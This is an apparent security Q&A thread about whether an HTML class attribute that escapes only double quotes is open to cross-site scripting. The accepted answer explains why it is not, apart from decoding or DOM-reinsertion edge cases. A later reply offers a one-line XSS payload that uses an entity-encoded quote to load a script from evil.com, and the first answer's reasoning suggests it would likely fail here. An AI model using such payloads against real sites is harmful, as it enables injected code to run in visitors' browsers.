I am currently testing XSS filter and I wonder, whether it is possible to demonstrate XSS attack on class tag attribute in HTML, when only double quotes are escaped. Other characters (<, >, ') are unescaped.

Code I am testing it on looks like this:

<span class="MY_VALUE">

I was not able to find any example of how to inject script in this tag. Thanks for any help.

  • What is the reason for only escaping one character and not adhering to the OWASP Recommendation? – MechMK1 Apr 24 '19 at 9:44
  • I know all dangerous characters should be escaped, but I am only testing the website and am not the one who wrote the code. I am trying to find example why escaping only one character might be unsafe. – dane123 Apr 24 '19 at 9:48

Assuming the filter is working as intended, this is not vulnerable to XSS.

You need " to exit a double-quoted attribute value context (see also the HTML standard and how to parse HTML documents).

This leaves two options:

  • an error in the handling of ": If the encoding of " isn't the last step before outputting, but the input is instead transformed afterwards (eg URL-decoded), then you may be able to bypass the " encoding (unlikely).
  • if the input is handled insecurely afterwards (eg read out of the DOM and reinserted insecurely), then there would be a vulnerability. But this would be an issue of the code handling that, not of the insertion here (only encoding " isn't great because it leaves you with uneven data - some encoded, some not - but it's not a vulnerability).

But as-is, there is no vulnerability here.

| improve this answer | |
  • Thank you for the answer – dane123 Apr 24 '19 at 10:49

Did you try MY_VALUE=

&#34>(delivered)<script src=&#34http://evil.com/code.js


| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.